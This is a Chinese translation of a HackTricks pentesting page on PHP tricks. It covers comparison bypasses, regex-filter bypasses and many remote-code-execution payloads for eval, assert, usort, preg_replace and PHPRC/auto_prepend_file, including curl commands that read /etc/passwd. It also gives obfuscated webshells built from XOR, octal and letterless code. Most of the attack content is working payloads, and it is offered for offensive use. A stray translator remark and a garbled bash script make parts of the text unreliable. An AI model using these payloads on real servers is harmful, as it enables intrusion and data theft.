hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-02-02 13:13:21 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:42:06 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:42:06 +00:00
php-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:34:43 +00:00
README.md Translated ['generic-methodologies-and-resources/pentesting-wifi/README. 2024-02-02 13:13:21 +00:00

PHP 技巧

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

常见的 Cookies 位置:

这也适用于 phpMyAdmin 的 Cookies。

Cookies

PHPSESSID
phpMyAdmin
位置:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过 PHP 比较

宽松比较/类型欺骗 ( == )

如果在 PHP 中使用 ==,那么有些情况下比较的行为可能不符合预期。这是因为 "==" 只比较转换为相同类型后的值,如果你还想比较比较数据的类型是否相同,你需要使用 ===

PHP 比较表:https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True 一个不以数字开头的字符串等于一个数字
  • "0xAAAA" == "43690" -> True 由十进制或十六进制数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True字符串中的数字被解释为数字
  • "0e3264578" == 0 --> True 以 "0e" 开头并跟随任何内容的字符串将等于 0
  • "0X3264578" == 0X --> True 以 "0" 开头并跟随任何字母X 可以是任何字母)和任何内容的字符串将等于 0
  • "0e12334" == "0" --> True 这非常有趣,因为在某些情况下,你可以控制输入为 "0" 的字符串和一些被哈希并与之比较的内容。因此,如果你能提供一个会创建以 "0e" 开头并且没有任何字母的哈希值,你可以绕过比较。你可以在这里找到已经哈希的字符串https://github.com/spaze/hashes
  • "X" == 0 --> True 字符串中的任何字母都等于整数 0

更多信息在 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型欺骗 也默认影响 in_array() 函数(你需要将第三个参数设置为 true 来进行严格比较):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果这个函数用于任何认证检查(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组而不是字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=),并绕过这个检查:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

同样的错误也会发生在 strcasecmp()

严格类型杂耍

即使使用了 ===,也可能存在错误,使得比较容易受到 类型杂耍的影响。例如,如果比较在比较之前将数据转换为不同类型的对象

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() 可用于验证用户输入(它检查用户输入中是否存在黑名单中的任何单词/正则表达式,如果不存在,代码可以继续执行)。

新行绕过

然而,当限定正则表达式的开始时,preg_match() 只检查用户输入的第一行,因此,如果你能够以多行的形式发送输入,你可能能够绕过这个检查。例如:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

为了绕过这个检查,你可以发送带有换行符的 url 编码值%0A),或者如果你可以发送JSON 数据,请在多行中发送

{
"cmd": "cat /etc/passwd"
}

在这里找到一个例子:https://ramadistra.dev/fbctf-2019-rceservice

长度错误绕过

(这种绕过尝试显然是在 PHP 5.2.5 上进行的,我无法在 PHP 7.3.15 上使它工作)
如果你能向 preg_match() 发送一个有效的非常大的输入,它将无法处理它,你将能够绕过检查。例如,如果它正在黑名单中的一个 JSON你可以发送

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS 绕过

简而言之,问题发生是因为 PHP 中的 preg_* 函数建立在 PCRE 库 之上。在 PCRE 中,某些正则表达式的匹配会使用大量递归调用,这会占用大量栈空间。可以设置递归次数的限制,但在 PHP 中这个限制默认为 100,000,这比栈空间的容量要多。

这个 Stackoverflow 讨论也在帖子中被链接,其中更深入地讨论了这个问题。我们的任务现在很清楚:
发送一个输入,使得正则表达式进行 100,000+ 次递归,导致 SIGSEGV使 preg_match() 函数返回 false,从而使应用程序认为我们的输入不是恶意的,在有效载荷的最后扔出惊喜,类似 {system(<verybadcommand>)} 来获得 SSTI --> RCE --> flag :)

嗯,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是在计算“回溯步骤”,正如 PHP 文档 所述,默认值为 1,000,0001Mpcre.backtrack_limit 变量中。
要达到这个目标,'X'*500_001 将导致 100 万次回溯步骤50 万次向前和 50 万次向后):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Since the content provided does not contain any English text that requires translation, there is no action needed. If you have any specific text you would like translated, please provide it.

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

执行后重定向EAR

如果PHP正在重定向到另一个页面但在设置了 Location 头之后没有调用 dieexit 函数PHP将继续执行并将数据追加到正文中

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 或配置错误的情况下,register_globals 可能是激活的(或其行为被模仿)。这意味着在全局变量如 $_GET 中如果它们有值,例如 $_GET["param"]="1234",你可以通过 $param 访问它。因此通过发送HTTP参数你可以覆盖代码中使用的变量
  • 同一域名下的 PHPSESSION cookies 存储在同一位置,因此如果在一个域名内 不同路径使用不同的cookies,你可以让一个路径 访问另一个路径的cookie通过设置其他路径cookie的值。
    这样如果 两个路径访问同名的变量,你可以让 path1中的变量值应用到path2。然后path2将把path1的变量视为有效通过给cookie命名使其在path2中对应
  • 当你拥有机器用户的 用户名 时。检查地址:/~<USERNAME> 来查看php目录是否激活。
  • 使用php包装器的LFI和RCE

password_hash/password_verify

这些函数通常在PHP中用于 从密码生成哈希检查 一个密码与哈希比较是否正确。
支持的算法有:PASSWORD_DEFAULTPASSWORD_BCRYPT(以 $2y$ 开头)。注意 PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。 并且目前,PASSWORD_BCRYPT 在输入的 大小限制为72字节。因此当你尝试用这个算法对超过72字节的内容进行哈希处理时只有前72B会被使用

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

利用 PHP 错误绕过 HTTP 头

如果PHP 页面正在打印错误并回显用户提供的一些输入,用户可以让 PHP 服务器打印回一些足够长的内容,这样当它尝试添加头信息到响应中时,服务器将抛出错误。
在以下场景中,攻击者让服务器抛出了一些大错误,正如你在屏幕上看到的,当 php 尝试修改头信息时,它做不到(所以例如 CSP 头没有发送给用户):

代码执行

system("ls");
`ls`;
shell_exec("ls");

查看此处获取更多有用的 PHP 函数

通过 preg_replace() 实现 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

要执行"replace"参数中的代码,至少需要一个匹配项。 此选项自 PHP 5.5.0 起已不推荐使用

通过 Eval() 实现 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

通过 Assert() 实现 RCE

这个php函数允许你执行写在字符串中的代码,以返回真或假(并根据此改变执行流程)。通常用户变量会被插入到字符串中间。例如:
assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,为了获得RCE,你可以这样做:

?page=a','NeVeR') === false and system('ls') and strpos('a

您需要破解代码语法添加您的有效载荷,然后再修复它。您可以使用逻辑操作,如“and”或“%26%26”或“|”。请注意“or”、“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样的方式,“;”也不起作用,因为我们的有效载荷不会被执行。

另一个选项是在字符串中添加命令的执行:'.highlight_file('.passwd').'

另一个选项(如果您有内部代码)是修改某个变量以改变执行过程:$file = "hola"

通过 usort() 实现 RCE

此函数用于使用特定函数对数组项进行排序。
要滥用此函数:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

您也可以使用 // 来注释掉代码的其余部分。

要发现您需要关闭的括号数量:

  • ?order=id;}//:我们得到一个错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。
  • ?order=id);}//:我们得到一个警告。看起来差不多正确。
  • ?order=id));}//:我们得到一个错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。

通过 .httaccess 实现 RCE

如果您可以上传一个 .htaccess 文件,那么您可以配置多个设置甚至执行代码(配置 .htaccess 文件扩展名的文件可以被执行)。

不同的 .htaccess shell 可以在这里找到

通过环境变量实现 RCE

如果您发现一个漏洞,允许您在 PHP 中修改环境变量(以及另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得RCE

  • LD_PRELOAD:这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
  • PHPRC :指导 PHP 在哪里找到它的配置文件,通常称为 php.ini。如果您可以上传您自己的配置文件,然后,使用 PHPRC 指向它。添加一个**auto_prepend_file** 条目,指定第二个上传的文件。这第二个文件包含正常的PHP 代码,然后由 PHP 运行时在任何其他代码之前执行
  1. 上传一个包含我们 shellcode 的 PHP 文件
  2. 上传一个包含 auto_prepend_file 指令的第二个文件,指示 PHP 预处理器执行我们在第一步中上传的文件
  3. 设置 PHPRC 变量为我们在第二步中上传的文件。
  • 获取更多关于如何执行这个链条的信息从原始报告
  • PHPRC - 另一个选项
  • 如果您无法上传文件,您可以在 FreeBSD 中使用文件 /dev/fd/0,它包含**stdin,是发送到 stdin 的请求的正文**
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 或者为了获得 RCE启用 allow_url_include 并预先加入一个包含 base64 PHP 代码的文件:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • 技术来自这份报告

PHP 静态分析

查看是否可以在对这些函数的调用中插入代码(来自这里

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果您正在调试PHP应用程序您可以在/etc/php5/apache2/php.ini中全局启用错误打印,添加display_errors = On然后重启apachesudo systemctl restart apache2

PHP代码反混淆

您可以使用网站www.unphp.net 来反混淆php代码。

PHP包装器和协议

PHP包装器和协议可能允许您绕过写入和读取保护,并危害系统。有关更多信息,请查看此页面

Xdebug未经认证的RCE

如果您在phpconfig()输出中看到Xdebug启用的,您应该尝试通过https://github.com/nqxcode/xdebug-exploit获取RCE。

变量变量

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

利用新的 $_GET["a"]($_GET["b"]) 实现 RCE

如果在页面上你能够创建任意类的新对象,你可能能够实现 RCE请查看以下页面了解如何操作

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

不使用字母执行 PHP

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR简易Shell代码

根据这篇文章可以通过以下方式生成简易的shell代码

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

因此,如果您能够执行任意PHP而不使用数字和字母您可以发送如下请求利用该有效载荷来执行任意PHP

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

更深入的解释请查看 https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode在 eval 内部)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

类 Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
从零开始学习AWS黑客攻击直至成为专家通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式